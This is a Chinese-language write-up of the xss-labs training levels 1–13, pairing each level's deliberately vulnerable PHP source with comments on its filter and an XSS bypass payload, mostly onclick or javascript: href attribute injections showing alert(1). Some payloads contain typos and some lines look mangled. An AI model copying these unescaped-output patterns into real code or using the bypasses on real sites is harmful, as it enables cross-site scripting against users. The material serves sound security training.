xss-labs 关卡代码过滤绕过测试
第一关:
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>"; //使用GET传参过来并没有对字符串进行过滤
?>
第二关:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"]; //通过GET传参接受参数keyword的值并赋值给变量$str
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#.htmlspecialchars($str):.htmlspecialchars函数对变量str进行实例化,就是将特殊字符转义为 &2等等
<form action=level2.php method=GET> //表单提交方式
<input name=keyword value="'.$str.'"> //输入框,注意变量$str在value值里面,并没有进行过滤防范
#注意value值里面变量两旁有单引号,因此注意封闭引号
<input type=submit name=submit value="搜索"/> //搜索按钮
</form>
</center>';
?>
第三关:
<?php
ini_set("display_errors", 0); //是临时关闭PHP的错误显示功能
$str = $_GET["keyword"]; //传参赋值给变量$str
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
#.htmlspecialchars($str):.htmlspecialchars函数对变量str进行实例化,就是将特殊字符转义为 &2等等
<form action=level3.php method=GET> //表单提交
<input name=keyword value='".htmlspecialchars($str)."'> //这里对变量$str进行了实例化转义
#这时使用带有特殊字符的js脚本,使用input属性进行绕过转义
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
第四关:
<?php
ini_set("display_errors", 0); //暂时不显示php错误
$str = $_GET["keyword"]; //GET传参赋值给变量$str
$str2=str_replace(">","",$str); //将<使用str_replace函数替换为空
$str3=str_replace("<","",$str2);//将<使用str_replace函数替换为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET> //提交方法
<input name=keyword value="'.$str3.'"> //变量并没有进行过滤,这时注意封闭符号位,直接利用
#使用input属性js脚本利用
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
onclick=javascript:alert(1)>//
第五关:
<?php
ini_set("display_errors", 0); //忽略错误
$str = strtolower($_GET["keyword"]); //strtolower函数将传参过来的字符转化为小写
$str2=str_replace("<script","<scr_ipt",$str); //替换关键字符script 为 scr_ipt
$str3=str_replace("on","o_n",$str2); //替换on字符为o_n
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'"> //在传参后进行了替换关键字符,使用其他标签属性绕过
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
href="javascript:void(alert(1))
第六关
<?php
ini_set("display_errors", 0); //忽视php错误
$str = $_GET["keyword"]; //GET传参接受参传给变量$str
$str2=str_replace("<script","<scr_ipt",$str); //替换函数将关键字符替换为scr_ipt
$str3=str_replace("on","o_n",$str2);//替换函数将关键字符替换为o_n
$str4=str_replace("src","sr_c",$str3);//替换函数将关键字符替换为sr_c
$str5=str_replace("data","da_ta",$str4);//替换函数将关键字符替换为da_ta
$str6=str_replace("href","hr_ef",$str5);//替换函数将关键字符替换为hr_ef
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#对变量进行了转义,实例化
#发现对常见的一些标签以及属性都进行了替换,但是并没有对大小写进行同一,大小写绕过
<form action=level6.php method=GET> //表单提交
<input name=keyword value="'.$str6.'"> //输出的变量
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
第七关:
<?php
ini_set("display_errors", 0);//忽视错误
$str =strtolower( $_GET["keyword"]);//使用函数将参数转换为小写在传给变量
$str2=str_replace("script","",$str);//替换关键字符为空
$str3=str_replace("on","",$str2);//替换关键字符为空
$str4=str_replace("src","",$str3);//替换关键字符为空
$str5=str_replace("data","",$str4);//替换关键字符为空
$str6=str_replace("href","",$str5);//替换关键字符为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化标签
<form action=level7.php method=GET> //表单提交
<input name=keyword value="'.$str6.'">
#发现在GET来接受参数时进行了小写转换,大小写用不了了,但是替换函数只是一次过滤,双写绕过
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
第八关:
<?php
ini_set("display_errors", 0); //忽略php错误
$str = strtolower($_GET["keyword"]); //小写转换
$str2=str_replace("script","scr_ipt",$str); //关键字符替换
$str3=str_replace("on","o_n",$str2);//关键字符替换
$str4=str_replace("src","sr_c",$str3);//关键字符替换
$str5=str_replace("data","da_ta",$str4);//关键字符替换
$str6=str_replace("href","hr_ef",$str5);//关键字符替换
$str7=str_replace('"','"',$str6);//关键字符替换
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'"> //变量实例化
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; //注意这里变量
?>
&
第九关:
<?php
ini_set("display_errors", 0); //忽视错误
$str = strtolower($_GET["keyword"]); //大小写统一 小写
$str2=str_replace("script","scr_ipt",$str); //替换字符
$str3=str_replace("on","o_n",$str2);//替换字符
$str4=str_replace("src","sr_c",$str3);//替换字符
$str5=str_replace("data","da_ta",$str4);//替换字符
$str6=str_replace("href","hr_ef",$str5);//替换字符
$str7=str_replace('"','"',$str6);//替换字符
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'"> //变量实例化
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://')) //判断url链接是否有http:// 合法性
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
&
第十关:
<?php
ini_set("display_errors", 0); //忽视错误
$str = $_GET["keyword"]; //接受参数赋值变量
$str11 = $_GET["t_sort"]; //接受隐藏的参数赋值给变量
$str22=str_replace(">","",$str11);//替换<为空
$str33=str_replace("<","",$str22);//替换>为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化变量 注意这个变量是可以显示的那个
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden"> //注意这个隐藏变量 hidden隐藏实现
#绕过方法很简单将这个隐藏的变量属性显示出来
</form>
</center>';
?>
type="text/html"%20onclick=javascripe:alert(1)>//
第十一关:
<?php
ini_set("display_errors", 0); //忽视错误
$str = $_GET["keyword"]; //接收参数赋值给$str
$str00 = $_GET["t_sort"]; //接收参数赋值给$str00变量,注意这个变量是隐藏的
$str11=$_SERVER['HTTP_REFERER']; //通过$_server来接受客户端来源赋值给变量$str11
$str22=str_replace(">","",$str11); //将变量中$str11中含有>替换为空
$str33=str_replace("<","",$str22); //二次替换 将变量中$str22中含有<替换为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化变量
<form id=search>
<input name="t_link" value="'.'" type="hidden"> //注意这里并没有输出变量
<input name="t_history" value="'.'" type="hidden">//注意这里并没有输出变量
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">//这里对变量$st00进行了转义,实例化
<input name="t_ref" value="'.$str33.'" type="hidden"> //注意这里找到隐藏变量,也就是接受客户端的来源信息
#通过伪造来源中植入xss脚本实施跨站脚本攻击
</form>
</center>';
?>
type="text" onclick=javascipt:alert(1)>//
第十二关:
<?php
ini_set("display_errors", 0); //忽视错误
$str = $_GET["keyword"]; //接收参数
$str00 = $_GET["t_sort"]; //接收参数
$str11=$_SERVER['HTTP_USER_AGENT']; //接收客户端浏览器信息
$str22=str_replace(">","",$str11); //替换>为空
$str33=str_replace("<","",$str22); //替换<为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化变量
<form id=search>
<input name="t_link" value="'.'" type="hidden"> //空值
<input name="t_history" value="'.'" type="hidden">//空值
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
#实例化变量值
<input name="t_ua" value="'.$str33.'" type="hidden"> //隐藏的变量 可以利用
#注意取消隐藏属性 注意封闭符号
#通过伪造来源中植入xss脚本实施跨站脚本攻击
</form>
</center>';
?>
type="text" onclick=javascript:alert(1)>//
第十三关:
<?php
setcookie("user", "call me maybe?", time()+3600); //setcookie() 函数向客户端发送一个cookie
ini_set("display_errors", 0); //忽视错误
$str = $_GET["keyword"]; //接收参数
$str00 = $_GET["t_sort"]; //接收参数
$str11=$_COOKIE["user"]; //接收cookie
$str22=str_replace(">","",$str11); //将接收的cookie的变量进行替换包含>为空
$str33=str_replace("<","",$str22); //将接收的cookie的变量进行替换包含<为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化变量
<form id=search>
<input name="t_link" value="'.'" type="hidden"> //空值没啥用
<input name="t_history" value="'.'" type="hidden"> //空值没啥用
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">//实例化变量
<input name="t_cook" value="'.$str33.'" type="hidden"> //隐藏的变量,可以利用
#变量$str33是从接收客户端cookie进行输出的 利用时注意将属性显示
</form>
</center>';
?>
type="text" onclick=javascript:alert(1)>//